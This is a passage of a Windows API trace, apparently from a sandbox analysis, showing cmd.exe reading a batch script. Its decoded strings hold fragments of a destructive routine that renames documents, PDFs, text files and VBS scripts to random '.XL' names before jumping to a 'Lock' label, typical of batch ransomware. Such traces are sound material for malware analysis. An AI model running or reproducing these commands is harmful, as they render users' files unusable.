returned 0xb8f [0038.347] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.rar %RANDOM%.XL\r\n") returned 2 [0038.347] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.347] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb8f [0038.347] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.347] GetFileType (hFile=0x74) returned 0x1 [0038.347] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb8f [0038.347] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.347] SetFilePointer (in: hFile=0x74, lDistanceToMove=2970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb9a [0038.347] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nr %RANDOM%.XL\r\n") returned 11 [0038.347] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.347] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb9a [0038.347] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.348] GetFileType (hFile=0x74) returned 0x1 [0038.348] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb9a [0038.348] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.348] SetFilePointer (in: hFile=0x74, lDistanceToMove=2972, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb9c [0038.348] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.348] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.348] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb9c [0038.348] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.348] GetFileType (hFile=0x74) returned 0x1 [0038.348] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb9c [0038.348] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.348] SetFilePointer (in: hFile=0x74, lDistanceToMove=2978, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xba2 [0038.348] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":ink\r\nock\r\n") returned 6 [0038.348] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.348] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xba2 [0038.348] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.348] GetFileType (hFile=0x74) returned 0x1 [0038.348] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xba2 [0038.348] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.348] SetFilePointer (in: hFile=0x74, lDistanceToMove=2980, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xba4 [0038.349] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nnk\r\n") returned 2 [0038.349] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.349] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xba4 [0038.349] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.349] GetFileType (hFile=0x74) returned 0x1 [0038.349] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xba4 [0038.349] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.349] SetFilePointer (in: hFile=0x74, lDistanceToMove=3006, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbbe [0038.349] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.ink %RANDOM%.XL\r\n") returned 26 [0038.349] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.349] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbbe [0038.349] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.349] GetFileType (hFile=0x74) returned 0x1 [0038.349] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbbe [0038.349] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.349] SetFilePointer (in: hFile=0x74, lDistanceToMove=3017, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbc9 [0038.349] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nk %RANDOM%.XL\r\n") returned 11 [0038.350] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.350] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbc9 [0038.350] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.350] GetFileType (hFile=0x74) returned 0x1 [0038.350] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbc9 [0038.350] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.350] SetFilePointer (in: hFile=0x74, lDistanceToMove=3019, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbcb [0038.350] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.350] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.350] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbcb [0038.350] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.350] GetFileType (hFile=0x74) returned 0x1 [0038.350] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbcb [0038.350] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.350] SetFilePointer (in: hFile=0x74, lDistanceToMove=3025, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbd1 [0038.350] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":txt\r\nock\r\n") returned 6 [0038.350] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.350] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbd1 [0038.350] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.350] GetFileType (hFile=0x74) returned 0x1 [0038.351] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbd1 [0038.351] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.351] SetFilePointer (in: hFile=0x74, lDistanceToMove=3027, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbd3 [0038.351] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nxt\r\n") returned 2 [0038.351] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.351] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbd3 [0038.351] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.351] GetFileType (hFile=0x74) returned 0x1 [0038.351] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbd3 [0038.351] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.351] SetFilePointer (in: hFile=0x74, lDistanceToMove=3053, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbed [0038.351] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.txt %RANDOM%.XL\r\n") returned 26 [0038.352] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.352] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbed [0038.352] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.352] GetFileType (hFile=0x74) returned 0x1 [0038.352] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbed [0038.352] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.352] SetFilePointer (in: hFile=0x74, lDistanceToMove=3064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbf8 [0038.352] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nt %RANDOM%.XL\r\n") returned 11 [0038.352] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.352] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbf8 [0038.352] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.352] GetFileType (hFile=0x74) returned 0x1 [0038.352] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbf8 [0038.352] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.352] SetFilePointer (in: hFile=0x74, lDistanceToMove=3066, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbfa [0038.352] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.352] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.352] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbfa [0038.352] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.352] GetFileType (hFile=0x74) returned 0x1 [0038.352] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbfa [0038.352] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.353] SetFilePointer (in: hFile=0x74, lDistanceToMove=3072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc00 [0038.353] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":pdf\r\nock\r\n") returned 6 [0038.353] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.353] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc00 [0038.353] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.353] GetFileType (hFile=0x74) returned 0x1 [0038.353] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc00 [0038.353] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.353] SetFilePointer (in: hFile=0x74, lDistanceToMove=3074, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc02 [0038.353] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ndf\r\n") returned 2 [0038.353] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.353] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc02 [0038.353] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.353] GetFileType (hFile=0x74) returned 0x1 [0038.353] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc02 [0038.353] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.353] SetFilePointer (in: hFile=0x74, lDistanceToMove=3100, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc1c [0038.353] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.pdf %RANDOM%.XL\r\n") returned 26 [0038.353] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.353] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc1c [0038.353] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.353] GetFileType (hFile=0x74) returned 0x1 [0038.353] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc1c [0038.354] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.354] SetFilePointer (in: hFile=0x74, lDistanceToMove=3111, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc27 [0038.354] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nf %RANDOM%.XL\r\n") returned 11 [0038.354] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.354] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc27 [0038.354] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.354] GetFileType (hFile=0x74) returned 0x1 [0038.354] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc27 [0038.354] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.354] SetFilePointer (in: hFile=0x74, lDistanceToMove=3113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc29 [0038.354] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.354] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.354] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc29 [0038.354] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.354] GetFileType (hFile=0x74) returned 0x1 [0038.354] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc29 [0038.354] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.354] SetFilePointer (in: hFile=0x74, lDistanceToMove=3119, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc2f [0038.354] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":vbs\r\nock\r\n") returned 6 [0038.354] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.354] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc2f [0038.355] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.355] GetFileType (hFile=0x74) returned 0x1 [0038.355] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc2f [0038.355] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.355] SetFilePointer (in: hFile=0x74, lDistanceToMove=3121, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc31 [0038.355] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nbs\r\n") returned 2 [0038.355] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.355] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc31 [0038.355] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.355] GetFileType (hFile=0x74) returned 0x1 [0038.355] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc31 [0038.355] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.355] SetFilePointer (in: hFile=0x74, lDistanceToMove=3147, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc4b [0038.355] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.vbs %RANDOM%.XL\r\n") returned 26 [0038.355] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.355] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc4b [0038.355] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.355] GetFileType (hFile=0x74) returned 0x1 [0038.355] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc4b [0038.355] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.355] SetFilePointer (in: hFile=0x74, lDistanceToMove=3158, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc56 [0038.355] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ns %RANDOM%.XL\r\n") returned 11 [0038.355] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.356] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc56 [0038.356] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.356] GetFileType (hFile=0x74) returned 0x1 [0038.356] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc56 [0038.356] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.356] SetFilePointer (in: hFile=0x74, lDistanceToMove=3160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc58 [0038.356] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.356] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.356] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc58 [0038.356] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.356] GetFileType (hFile=0x74) returned 0x1 [0038.356] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc58 [0038.356] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.356] SetFilePointer (in: hFile=0x74, lDistanceToMove=3167, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc5f [0038.356] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: 